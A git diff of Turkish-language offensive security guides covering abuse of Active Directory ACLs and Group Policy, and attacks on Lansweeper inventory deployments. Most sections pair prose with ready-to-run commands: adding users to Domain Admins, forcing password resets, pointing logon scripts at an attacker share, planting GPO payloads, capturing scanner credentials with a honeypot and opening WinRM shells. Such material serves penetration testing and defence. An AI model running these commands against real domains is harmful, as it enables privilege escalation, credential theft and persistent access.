[**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Daha fazla detay için orijinal makalelere bakın.** ## BadSuccessor @@ -11,32 +11,32 @@ BadSuccessor.md {{#endref}} -## **GenericAll Rights on User** +## **Kullanıcı Üzerinde GenericAll Hakları** -Bu ayrıcalık bir saldırgana hedef kullanıcı hesabı üzerinde tam kontrol verir. `GenericAll` hakları `Get-ObjectAcl` komutuyla doğrulandıktan sonra, bir saldırgan şunları yapabilir: +Bu ayrıcalık, saldırganın hedef kullanıcı hesabı üzerinde tam kontrol sahibi olmasını sağlar. `Get-ObjectAcl` komutu kullanılarak `GenericAll` hakları doğrulandıktan sonra, saldırgan şunları yapabilir: -- **Hedefin Parolasını Değiştirme**: `net user /domain` kullanarak saldırgan kullanıcının parolasını sıfırlayabilir. -- **Targeted Kerberoasting**: Kullanıcının hesabına bir SPN atayarak hesabı kerberoastable hale getirin, sonra Rubeus ve targetedKerberoast.py kullanarak ticket-granting ticket (TGT) hash'lerini çıkarıp kırmayı deneyin. +- **Hedefin Parolasını Değiştirme**: `net user /domain` komutunu kullanarak, saldırgan kullanıcının parolasını sıfırlayabilir. +- **Targeted Kerberoasting**: Kullanıcının hesabına bir SPN atayarak hesabı kerberoastable hale getirin, sonra Rubeus ve targetedKerberoast.py kullanarak ticket-granting ticket (TGT) hash'lerini elde edip kırmayı deneyin. ```bash Set-DomainObject -Credential $creds -Identity -Set @{serviceprincipalname="fake/NOTHING"} .\Rubeus.exe kerberoast /user: /nowrap Set-DomainObject -Credential $creds -Identity -Clear serviceprincipalname -Verbose ``` -- **Targeted ASREPRoasting**: Kullanıcı için pre-authentication'ı devre dışı bırakın; böylece hesabı ASREPRoasting'e karşı savunmasız hale gelir. +- **Targeted ASREPRoasting**: Kullanıcı için pre-authentication'i devre dışı bırakarak hesabını ASREPRoasting'e karşı savunmasız hale getirin. ```bash Set-DomainObject -Identity -XOR @{UserAccountControl=4194304} ``` -## **GenericAll Hakları Bir Grup Üzerinde** +## **Grup Üzerinde GenericAll Hakları** -Bu ayrıcalık, bir saldırganın `Domain Admins` gibi bir grup üzerinde `GenericAll` haklarına sahipse grup üyeliklerini değiştirmesine olanak tanır. Grubun distinguished name'ini `Get-NetGroup` ile belirledikten sonra saldırgan şunları yapabilir: +Bu ayrıcalık, bir saldırganın `GenericAll` haklarına sahip olduğu, `Domain Admins` gibi bir grup üzerinde grup üyeliklerini değiştirmesine izin verir. `Get-NetGroup` ile grubun distinguished name'ini belirledikten sonra saldırgan şunları yapabilir: -- **Kendilerini Domain Admins Grubuna Eklemek**: Bu doğrudan komutlarla veya Active Directory veya PowerSploit gibi modüller kullanılarak yapılabilir. +- **Kendilerini Domain Admins grubuna ekleme**: Bu, doğrudan komutlarla veya Active Directory veya PowerSploit gibi modüller kullanılarak yapılabilir. ```bash net group "domain admins" spotless /add /domain Add-ADGroupMember -Identity "domain admins" -Members spotless Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local" ``` -- Linux'ten, GenericAll/Write üyeliğiniz olduğunda kendinizi istediğiniz gruplara eklemek için BloodyAD'i kullanabilirsiniz. Hedef grup “Remote Management Users” içinde nested ise, o grubu dikkate alan hostlarda hemen WinRM erişimi kazanırsınız: +Linux'tan BloodyAD'yi kullanarak, üzerlerinde GenericAll/Write üyeliğiniz varsa kendinizi herhangi bir gruba ekleyebilirsiniz. Hedef grup "Remote Management Users" içine iç içe geçmişse, o grubu dikkate alan hostlarda hemen WinRM erişimi elde edersiniz: ```bash # Linux tooling example (BloodyAD) to add yourself to a target group bloodyAD --host -d -u -p '' add groupMember "" @@ -48,33 +48,33 @@ netexec winrm -u -p '' Bu ayrıcalıklara bir bilgisayar nesnesi veya kullanıcı hesabı üzerinde sahip olmak şunlara izin verir: -- **Kerberos Resource-based Constrained Delegation**: Bir bilgisayar nesnesinin ele geçirilmesini mümkün kılar. -- **Shadow Credentials**: Bu tekniği, ayrıcalıkları kullanarak shadow credentials oluşturarak bir bilgisayarın veya kullanıcı hesabının taklit edilmesi için kullanın. +- **Kerberos Resource-based Constrained Delegation**: Bir bilgisayar nesnesinin ele geçirilmesini sağlar. +- **Shadow Credentials**: Bu tekniği, ayrıcalıkları kullanarak shadow credentials oluşturarak bir bilgisayarı veya kullanıcı hesabını taklit etmek için kullanın. ## **WriteProperty on Group** -Bir kullanıcının belirli bir grup için (ör. `Domain Admins`) tüm nesneler üzerinde `WriteProperty` hakları varsa, şunları yapabilir: +Bir kullanıcı belirli bir grup için (ör. `Domain Admins`) tüm nesneler üzerinde `WriteProperty` haklarına sahipse, şunları yapabilir: -- **Kendilerini Domain Admins Group'a eklemek**: `net user` ve `Add-NetGroupUser` komutlarının birleştirilmesiyle gerçekleştirilebilen bu yöntem, etki alanı (domain) içinde ayrıcalık yükseltmesine olanak tanır. +- **Kendilerini Domain Admins Grubuna Ekleme**: `net user` ve `Add-NetGroupUser` komutlarının kombinasyonu ile gerçekleştirilebilir; bu yöntem domain içinde privilege escalation sağlar. ```bash net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain ``` ## **Self (Self-Membership) on Group** -Bu ayrıcalık, saldırganların grup üyeliğini doğrudan değiştiren komutlar aracılığıyla kendilerini `Domain Admins` gibi belirli gruplara eklemelerine olanak tanır. Aşağıdaki komut dizisini kullanarak kendini ekleme yapılabilir: +Bu hak, saldırganların grup üyeliğini doğrudan değiştiren komutlarla kendilerini `Domain Admins` gibi belirli gruplara eklemelerine olanak sağlar. Aşağıdaki komut dizisiyle kendinizi ekleyebilirsiniz: ```bash net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain ``` ## **WriteProperty (Self-Membership)** -Benzer bir ayrıcalık olan bu, saldırganların belirli gruplarda `WriteProperty` hakkına sahipse, grup özelliklerini değiştirerek kendilerini doğrudan gruplara eklemelerine olanak tanır. Bu ayrıcalığın doğrulanması ve yürütülmesi şununla gerçekleştirilir: +Benzer bir ayrıcalık olan bu, saldırganların ilgili gruplarda `WriteProperty` hakkına sahip olmaları halinde grup özelliklerini değiştirerek kendilerini doğrudan gruplara eklemelerine olanak sağlar. Bu ayrıcalığın doğrulanması ve yürütülmesi şununla gerçekleştirilir: ```bash Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"} net group "domain admins" spotless /add /domain ``` ## **ForceChangePassword** -`User-Force-Change-Password` için bir kullanıcının üzerinde `ExtendedRight`'a sahip olmak, mevcut parolayı bilmeden parola sıfırlamalarına izin verir. Bu hakkın doğrulanması ve sömürüsü PowerShell veya alternatif komut satırı araçlarıyla yapılabilir; bu, etkileşimli oturumlar ve etkileşimsiz ortamlar için tek satırlık komutlar da dahil olmak üzere bir kullanıcının parolasını sıfırlamak için çeşitli yöntemler sunar. Komutlar basit PowerShell çağrılarından Linux'ta `rpcclient` kullanmaya kadar uzanır ve saldırı vektörlerinin çok yönlülüğünü gösterir. +`User-Force-Change-Password` için bir kullanıcı üzerinde `ExtendedRight`'a sahip olmak, mevcut parolayı bilmeden parola sıfırlamalarına izin verir. Bu hakkın doğrulanması ve istismarı PowerShell veya alternatif komut satırı araçlarıyla yapılabilir; bir kullanıcının parolasını sıfırlamak için etkileşimli oturumlar ve etkileşimsiz ortamlar için tek satırlık komutlar da dahil olmak üzere çeşitli yöntemler sunar. Komutlar basit PowerShell çağrılarından Linux üzerinde `rpcclient` kullanımına kadar uzanır ve bu da saldırı vektörlerinin çok yönlülüğünü gösterir. ```bash Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"} Set-DomainUserPassword -Identity delegate -Verbose @@ -85,9 +85,9 @@ Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureStri rpcclient -U KnownUsername 10.10.10.192 > setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!' ``` -## **Grupta WriteOwner** +## **WriteOwner'ın Grup Üzerinde Kullanımı** -Bir saldırgan bir grup üzerinde `WriteOwner` haklarına sahip olduğunu tespit ederse, grubun sahipliğini kendine değiştirebilir. Bu, söz konusu grup `Domain Admins` olduğunda özellikle etkili olur; sahipliği değiştirmek grup öznitelikleri ve üyelik üzerinde daha geniş kontrol sağlar. Süreç, doğru nesnenin `Get-ObjectAcl` ile belirlenmesini ve ardından sahibi `Set-DomainObjectOwner` kullanarak SID veya isim ile değiştirmeyi içerir. +Eğer bir saldırganın bir grup üzerinde `WriteOwner` hakkı varsa, grubun sahipliğini kendisine atayabilir. Bu, söz konusu grup `Domain Admins` ise özellikle etkilidir; sahiplik değişikliği grup öznitelikleri ve üyelik üzerinde daha geniş kontrol sağlar. İşlem, doğru nesnenin `Get-ObjectAcl` ile belirlenmesini ve ardından sahibi `Set-DomainObjectOwner` ile SID veya isim kullanarak değiştirmeyi içerir. ```bash Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"} Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose @@ -95,13 +95,13 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico ``` ## **GenericWrite on User** -Bu izin, bir attacker'ın user özelliklerini değiştirmesine olanak tanır. Özellikle, `GenericWrite` erişimi ile attacker, bir user'ın logon script path'ini değiştirerek user logon olduğunda kötü amaçlı bir script'in çalıştırılmasını sağlayabilir. Bu, hedef user'ın `scriptpath` özelliğini attacker'ın script'ine işaret edecek şekilde güncellemek için `Set-ADObject` komutunun kullanılmasıyla gerçekleştirilir. +Bu izin bir saldırganın kullanıcı özelliklerini değiştirmesine olanak tanır. Özellikle `GenericWrite` erişimiyle saldırgan, kullanıcı oturum açtığında kötü amaçlı bir betiği çalıştırmak için bir kullanıcının oturum açma betiği yolunu değiştirebilir. Bu, hedef kullanıcının `scriptpath` özelliğini saldırganın betiğine işaret edecek şekilde güncellemek için `Set-ADObject` komutunun kullanılmasıyla gerçekleştirilir. ```bash Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1" ``` ## **GenericWrite on Group** -Bu ayrıcalıkla saldırganlar grup üyeliklerini değiştirebilir; örneğin kendilerini veya diğer kullanıcıları belirli gruplara ekleyebilirler. Bu süreç, bir kimlik bilgisi nesnesi oluşturmayı, bunu kullanarak bir gruba kullanıcı eklemeyi veya kaldırmayı ve üyelik değişikliklerini PowerShell komutlarıyla doğrulamayı içerir. +Bu ayrıcalık sayesinde saldırganlar grup üyeliğini manipüle edebilir; örneğin kendilerini veya diğer kullanıcıları belirli gruplara ekleyebilirler. Bu süreç bir kimlik bilgisi nesnesi (credential object) oluşturmayı, bunu kullanarak kullanıcıları bir gruba eklemeyi veya gruptan kaldırmayı ve PowerShell komutlarıyla üyelik değişikliklerini doğrulamayı içerir. ```bash $pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd) @@ -111,7 +111,7 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use ``` ## **WriteDACL + WriteOwner** -Bir AD nesnesine sahip olmak ve üzerinde `WriteDACL` ayrıcalıklarına sahip olmak, saldırganın kendisine nesne üzerinde `GenericAll` ayrıcalıkları vermesini sağlar. Bu, ADSI manipülasyonu ile gerçekleştirilir; nesne üzerinde tam kontrol elde etmeye ve grup üyeliklerini değiştirme yeteneği sağlar. Buna rağmen, Active Directory modülünün `Set-Acl` / `Get-Acl` cmdlet'lerini kullanarak bu ayrıcalıkları suistimal etmeye çalışırken sınırlamalar bulunmaktadır. +Bir AD nesnesine sahip olmak ve üzerinde `WriteDACL` ayrıcalıklarına sahip olmak, saldırganın kendine nesne üzerinde `GenericAll` ayrıcalıkları vermesini sağlar. Bu, ADSI manipülasyonu aracılığıyla gerçekleştirilir; nesne üzerinde tam kontrol ve grup üyeliklerini değiştirme yeteneği sağlar. Buna rağmen, Active Directory modülünün `Set-Acl` / `Get-Acl` cmdlets'lerini kullanarak bu ayrıcalıkları istismar etmeye çalışırken sınırlamalar vardır. ```bash $ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local" $IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier]) @@ -121,64 +121,64 @@ $ADSI.psbase.commitchanges() ``` ## **Etki Alanında Replikasyon (DCSync)** -DCSync saldırısı, etki alanındaki belirli replikasyon izinlerini kullanarak bir Domain Controller'ı taklit eder ve kullanıcı kimlik bilgileri dahil olmak üzere verileri senkronize eder. Bu güçlü teknik, `DS-Replication-Get-Changes` gibi izinler gerektirir; bu da saldırganların bir Domain Controller'a doğrudan erişim olmadan AD ortamından hassas bilgileri çıkarmasına olanak tanır. [**DCSync saldırısı hakkında daha fazla bilgi edinin.**](../dcsync.md) +DCSync saldırısı, etki alanındaki belirli replikasyon izinlerini kullanarak bir Domain Controller'ı taklit eder ve kullanıcı kimlik bilgileri de dahil olmak üzere verileri senkronize eder. Bu güçlü teknik `DS-Replication-Get-Changes` gibi izinler gerektirir; bu sayede saldırganlar bir Domain Controller'a doğrudan erişim olmadan AD ortamından hassas bilgileri çıkarabilir. [**Learn more about the DCSync attack here.**](../dcsync.md) ## GPO Yetkilendirmesi ### GPO Yetkilendirmesi -Group Policy Objects (GPOs) yönetimi için devredilen erişim önemli güvenlik riskleri doğurabilir. Örneğin, `offense\spotless` gibi bir kullanıcıya GPO yönetim hakları devredilmişse, **WriteProperty**, **WriteDacl** ve **WriteOwner** gibi ayrıcalıklara sahip olabilir. Bu izinler kötü amaçlı kullanım için suistimal edilebilir; PowerView kullanılarak şu şekilde tespit edilebilir: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}` +GPO'ları (Group Policy Objects) yönetmek için devredilen erişim ciddi güvenlik riskleri oluşturabilir. Örneğin, `offense\spotless` gibi bir kullanıcıya GPO yönetim hakları devredilmişse, **WriteProperty**, **WriteDacl** ve **WriteOwner** gibi ayrıcalıklara sahip olabilir. Bu izinler kötü amaçla kullanılabilir; PowerView ile tespit örneği: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}` -### GPO İzinlerini Listeleme +### GPO İzinlerini Belirleme -Yanlış yapılandırılmış GPO'ları belirlemek için PowerSploit'ın cmdlet'leri zincirlenebilir. Bu, belirli bir kullanıcının hangi GPO'ları yönetme iznine sahip olduğunu keşfetmeyi sağlar: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}` +Yanlış yapılandırılmış GPO'ları belirlemek için PowerSploit cmdlet'leri zincirlenebilir. Bu, belirli bir kullanıcının yönetme iznine sahip olduğu GPO'ları keşfetmeyi sağlar: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}` -**Belirli Bir Politika Uygulanan Bilgisayarlar**: Belirli bir GPO'nun hangi bilgisayarlara uygulandığını çözmek mümkündür; bu, potansiyel etkinin kapsamını anlamaya yardımcı olur. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}` +**Belirli Bir Politikanın Uygulandığı Bilgisayarlar**: Belirli bir GPO'nun hangi bilgisayarlara uygulandığını çözümlemek mümkündür; bu, potansiyel etkinin kapsamını anlamaya yardımcı olur. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}` **Belirli Bir Bilgisayara Uygulanan Politikalar**: Belirli bir bilgisayara hangi politikaların uygulandığını görmek için `Get-DomainGPO` gibi komutlar kullanılabilir. -**Belirli Bir Politika Uygulanan OU'lar**: Bir politikadan etkilenen organizational units (OU'lar) `Get-DomainOU` kullanılarak tespit edilebilir. +**Belirli Bir Politikayla Etkilenen OU'lar**: Belirli bir politikadan etkilenen organizational unit'leri (OU'lar) belirlemek için `Get-DomainOU` kullanılabilir. -GPO'ları listelemek ve içlerindeki sorunları bulmak için [**GPOHound**](https://github.com/cogiceo/GPOHound) aracını da kullanabilirsiniz. +GPO'ları sıralamak ve içlerindeki sorunları bulmak için [**GPOHound**](https://github.com/cogiceo/GPOHound) aracını da kullanabilirsiniz. -### GPO Kötüye Kullanımı - New-GPOImmediateTask +### Abuse GPO - New-GPOImmediateTask -Yanlış yapılandırılmış GPO'lar, örneğin hemen çalışacak bir zamanlanmış görev oluşturarak kod yürütmek için suistimal edilebilir. Bu, etkilenen makinelerde bir kullanıcıyı yerel yöneticiler grubuna eklemek için yapılabilir ve yetkileri önemli ölçüde yükseltir: +Yanlış yapılandırılmış GPO'lar, örneğin anında çalışan bir scheduled task oluşturarak kod yürütmek için sömürülebilir. Bu, etkilenen makinelerde bir kullanıcıyı yerel yöneticiler grubuna eklemek için yapılabilir ve ayrıcalıkları önemli ölçüde yükseltir: ```bash New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force ``` ### GroupPolicy module - Abuse GPO -The GroupPolicy module, eğer kuruluysa, yeni GPO'ların oluşturulmasına ve bağlanmasına ve etkilenen bilgisayarlarda backdoors çalıştırmak için registry values gibi tercihlerin ayarlanmasına olanak tanır. Bu yöntem, GPO'nun güncellenmesini ve yürütme için bir kullanıcının bilgisayara giriş yapmasını gerektirir: +GroupPolicy module, kuruluysa, yeni GPOs oluşturmaya ve bağlamaya, ayrıca etkilenen bilgisayarlarda backdoors çalıştırmak için registry values gibi tercihleri ayarlamaya izin verir. Bu yöntem, yürütme için GPO'nun güncellenmesini ve bir kullanıcının bilgisayara oturum açmasını gerektirir: ```bash New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io" Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString ``` ### SharpGPOAbuse - Abuse GPO -SharpGPOAbuse, yeni GPO oluşturmaya gerek kalmadan mevcut GPO'lara görev ekleyerek veya ayarları değiştirerek bunları kötüye kullanma yöntemi sunar. Bu araç, değişiklikleri uygulamadan önce mevcut GPO'ları değiştirmenizi veya yeni GPO'lar oluşturmak için RSAT araçlarını kullanmanızı gerektirir: +SharpGPOAbuse, yeni GPO'lar oluşturmaya gerek kalmadan mevcut GPO'ları görevler ekleyerek veya ayarları değiştirerek suistimal etme yöntemi sunar. Bu araç, değişiklikleri uygulamadan önce mevcut GPO'ların değiştirilmesini veya yeni GPO'lar oluşturmak için RSAT araçlarının kullanılmasını gerektirir: ```bash .\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging" ``` -### Politika Güncellemesini Zorla +### Force Policy Update -GPO güncellemeleri genellikle yaklaşık her 90 dakikada bir gerçekleşir. Bu süreci hızlandırmak, özellikle bir değişiklik yaptıktan sonra, hedef bilgisayarda `gpupdate /force` komutunu kullanarak anlık bir politika güncellemesi zorlayabilirsiniz. Bu komut, GPO'lara yapılan değişikliklerin bir sonraki otomatik güncelleme döngüsünü beklemeden uygulanmasını sağlar. +GPO güncellemeleri genellikle yaklaşık her 90 dakikada bir gerçekleşir. Bu süreci, özellikle bir değişiklik uygulandıktan sonra hızlandırmak için hedef bilgisayarda `gpupdate /force` komutu kullanılarak anında bir politika güncellemesi zorlanabilir. Bu komut, GPO'larda yapılan herhangi bir değişikliğin bir sonraki otomatik güncelleme döngüsünü beklemeden uygulanmasını sağlar. -### İşleyiş +### Under the Hood -Belirli bir GPO için Zamanlanmış Görevler incelendiğinde, örneğin `Misconfigured Policy`, `evilTask` gibi görevlerin eklendiği doğrulanabilir. Bu görevler sistem davranışını değiştirmeyi veya ayrıcalıkları yükseltmeyi amaçlayan script'ler veya komut satırı araçlarıyla oluşturulur. +Belirli bir GPO için Scheduled Tasks incelendiğinde, örneğin `Misconfigured Policy`, `evilTask` gibi görevlerin eklendiği doğrulanabilir. Bu görevler, sistem davranışını değiştirmeyi veya ayrıcalıkları yükseltmeyi amaçlayan scriptler veya komut satırı araçlarıyla oluşturulur. -`New-GPOImmediateTask` tarafından üretilen XML yapılandırma dosyasında gösterildiği gibi, görevin yapısı zamanlanmış görevin ayrıntılarını — yürütülecek komut ve tetikleyiciler dahil — ortaya koyar. Bu dosya, GPO'lar içinde zamanlanmış görevlerin nasıl tanımlandığını ve yönetildiğini gösterir ve politika uygulaması kapsamında rastgele komutlar veya script'ler çalıştırmak için bir yöntem sağlar. +Görevin yapısı, `New-GPOImmediateTask` tarafından oluşturulan XML yapılandırma dosyasında gösterildiği gibi, yürütülecek komut ve tetikleyiciler dahil olmak üzere zamanlanmış görevin ayrıntılarını özetler. Bu dosya, GPO'lar içinde zamanlanmış görevlerin nasıl tanımlandığını ve yönetildiğini gösterir; politika uygulamasının bir parçası olarak rastgele komutların veya scriptlerin çalıştırılması için bir yöntem sağlar. -### Kullanıcılar ve Gruplar +### Users and Groups -GPO'lar ayrıca hedef sistemlerdeki kullanıcı ve grup üyeliklerinin manipüle edilmesine izin verir. Users and Groups politika dosyalarını doğrudan düzenleyerek, saldırganlar yerel `administrators` grubu gibi ayrıcalıklı gruplara kullanıcı ekleyebilirler. Bu, GPO yönetim izinlerinin delege edilmesi sayesinde mümkündür; bu izinler politika dosyalarının yeni kullanıcılar ekleyecek veya grup üyeliklerini değiştirecek şekilde düzenlenmesine olanak tanır. +GPO'lar ayrıca hedef sistemlerde kullanıcı ve grup üyeliklerinin değiştirilmesine de izin verir. Users and Groups politika dosyalarını doğrudan düzenleyerek, saldırganlar yerel `administrators` gibi ayrıcalıklı gruplara kullanıcı ekleyebilir. Bu, GPO yönetim izinlerinin delegasyonu yoluyla mümkündür; bu da politika dosyalarının yeni kullanıcılar ekleyecek veya grup üyeliklerini değiştirecek şekilde değiştirilmesine izin verir. -Users and Groups için XML yapılandırma dosyası bu değişikliklerin nasıl uygulandığını açıklar. Bu dosyaya girişler ekleyerek, belirli kullanıcılara etkilenen sistemler genelinde yükseltilmiş ayrıcalıklar verilebilir. Bu yöntem, GPO manipülasyonu yoluyla doğrudan bir ayrıcalık yükseltme yaklaşımı sunar. +Users and Groups için XML yapılandırma dosyası bu değişikliklerin nasıl uygulandığını ortaya koyar. Bu dosyaya girişler ekleyerek, belirli kullanıcılara etkilenen sistemler genelinde yükseltilmiş ayrıcalıklar verilebilir. Bu yöntem, GPO manipülasyonu yoluyla ayrıcalık yükseltmeye doğrudan bir yaklaşım sunar. -Ayrıca, oturum açma/oturum kapatma script'lerini kullanma, autorun için kayıt defteri anahtarlarını değiştirme, .msi dosyaları aracılığıyla yazılım yükleme veya servis yapılandırmalarını düzenleme gibi kod çalıştırma veya kalıcılık sağlama için ek yöntemler de düşünülebilir. Bu teknikler, GPO'ların kötüye kullanımı yoluyla erişimi sürdürmek ve hedef sistemleri kontrol etmek için çeşitli yollar sağlar. +Dahası, kod çalıştırma veya kalıcılığı sürdürme için logon/logoff scripts kullanmak, autoruns için registry anahtarlarını değiştirmek, .msi dosyalarıyla yazılım yüklemek veya servis yapılandırmalarını düzenlemek gibi ek yöntemler de değerlendirilebilir. Bu teknikler, GPO'ların kötüye kullanılması yoluyla erişimi sürdürmek ve hedef sistemleri kontrol etmek için çeşitli yollar sağlar. -## Kaynaklar +## References - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) - [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges) diff --git a/src/windows-hardening/active-directory-methodology/lansweeper-security.md b/src/windows-hardening/active-directory-methodology/lansweeper-security.md index 6f1501381..1679329fa 100644 --- a/src/windows-hardening/active-directory-methodology/lansweeper-security.md +++ b/src/windows-hardening/active-directory-methodology/lansweeper-security.md @@ -2,14 +2,14 @@ {{#include ../../banners/hacktricks-training.md}} -Lansweeper, genellikle Windows üzerinde konuşlandırılan ve Active Directory ile entegre edilen bir IT varlık keşif ve envanter platformudur. Lansweeper'a yapılandırılmış kimlik bilgileri, tarama motorları tarafından SSH, SMB/WMI ve WinRM gibi protokoller üzerinden varlıklara kimlik doğrulamak için kullanılır. Yanlış yapılandırmalar sıklıkla şunlara izin verir: +Lansweeper, genellikle Windows üzerinde konuşlandırılan ve Active Directory ile entegre edilen bir IT varlık keşif ve envanter platformudur. Lansweeper içinde yapılandırılmış kimlik bilgileri, tarama motorları tarafından SSH, SMB/WMI ve WinRM gibi protokoller üzerinden varlıklara kimlik doğrulaması yapmak için kullanılır. Yanlış yapılandırmalar sıklıkla şunlara izin verir: -- Tarama hedefini saldırgan kontrollü bir sunucuya (honeypot) yönlendirerek kimlik bilgilerini yakalama -- Lansweeper ile ilişkili gruplar tarafından açığa çıkan AD ACL'lerinin kötüye kullanılarak uzaktan erişim elde edilmesi -- Lansweeper'da yapılandırılmış gizli bilgilerin (connection strings ve kayıtlı tarama kimlik bilgileri) host üzerinde şifresinin çözülmesi -- Deployment özelliği aracılığıyla yönetilen uç noktalarda kod yürütme (çoğunlukla SYSTEM olarak çalışır) +- Credential interception by redirecting a scanning target to an attacker-controlled host (honeypot) +- Abuse of AD ACLs exposed by Lansweeper-related groups to gain remote access +- On-host decryption of Lansweeper-configured secrets (connection strings and stored scanning credentials) +- Code execution on managed endpoints via the Deployment feature (often running as SYSTEM) -Bu sayfa, bu davranışların istismarı için pratik saldırgan iş akışları ve komutları özetler. +Bu sayfa, bu davranışlardan yararlanmak için saldırgan iş akışları ve komutların pratik özetlerini sunar. ## 1) Harvest scanning credentials via honeypot (SSH example) @@ -39,22 +39,22 @@ sshesame --config sshesame.conf # authentication for user "svc_inventory_lnx" with password "" accepted # connection with client version "SSH-2.0-RebexSSH_5.0.x" established ``` -Yakalanan kimlik bilgilerini DC hizmetlerine karşı doğrulayın: +Yakalanan creds'i DC servislerine karşı doğrulayın: ```bash # SMB/LDAP/WinRM checks (NetExec) netexec smb inventory.sweep.vl -u svc_inventory_lnx -p '' netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '' netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '' ``` -Notlar -- Diğer protokoller için de benzer şekilde çalışır; scanner'ı listener'ınıza zorlayabildiğiniz durumlarda (SMB/WinRM honeypots, vb.). SSH genellikle en basit olandır. -- Birçok scanner kendini ayırt edici client banner'larıyla tanımlar (ör. RebexSSH) ve zararsız komutları deneyecektir (uname, whoami, vb.). +Notes +- Diğer protokoller için de benzer şekilde çalışır; scanner'ı listener'ınıza yönlendirebildiğiniz durumlarda (SMB/WinRM honeypots, vb.). SSH genellikle en basit olandır. +- Birçok scanner kendini farklı client banner'larıyla tanımlar (ör. RebexSSH) ve zararsız komutları deneyecektir (uname, whoami, vb.). -## 2) AD ACL abuse: bir app-admin group'a kendinizi ekleyerek uzak erişim elde etme +## 2) AD ACL abuse: kendinizi bir app-admin grubuna ekleyerek uzak erişim elde edin -Kompromize hesap üzerinden etkin hakları enumerate etmek için BloodHound kullanın. Sık rastlanan bir bulgu, scanner- veya uygulamaya özgü bir grubun (ör. “Lansweeper Discovery”) ayrıcalıklı bir grup üzerinde GenericAll'e sahip olmasıdır (ör. “Lansweeper Admins”). Eğer ayrıcalıklı grup aynı zamanda “Remote Management Users” üyesiyse, kendimizi ekledikten sonra WinRM kullanılabilir hale gelir. +Ele geçirilmiş hesaptan etkili izinleri listelemek için BloodHound'u kullanın. Yaygın bir bulgu, scanner- veya uygulamaya özgü bir grup (ör. “Lansweeper Discovery”) tarafından ayrıcalıklı bir grup üzerinde GenericAll yetkisine sahip olunmasıdır (ör. “Lansweeper Admins”). Eğer ayrıcalıklı grup aynı zamanda “Remote Management Users” üyesiyse, kendimizi ekledikten sonra WinRM kullanılabilir hale gelir. -Toplama örnekleri: +Collection examples: ```bash # NetExec collection with LDAP netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '' --bloodhound -c All --dns-server @@ -62,7 +62,7 @@ netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '' --bloodhoun # RustHound-CE collection (zip for BH CE import) rusthound-ce --domain sweep.vl -u svc_inventory_lnx -p '' -c All --zip ``` -Exploit GenericAll'ı grupta BloodyAD (Linux) ile: +BloodyAD (Linux) ile grup üzerindeki GenericAll'ı istismar et: ```bash # Add our user into the target group bloodyAD --host inventory.sweep.vl -d sweep.vl -u svc_inventory_lnx -p '' \ @@ -71,24 +71,24 @@ add groupMember "Lansweeper Admins" svc_inventory_lnx # Confirm WinRM access if the group grants it netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '' ``` -Sonra bir interactive shell alın: +Sonra etkileşimli bir shell alın: ```bash evil-winrm -i inventory.sweep.vl -u 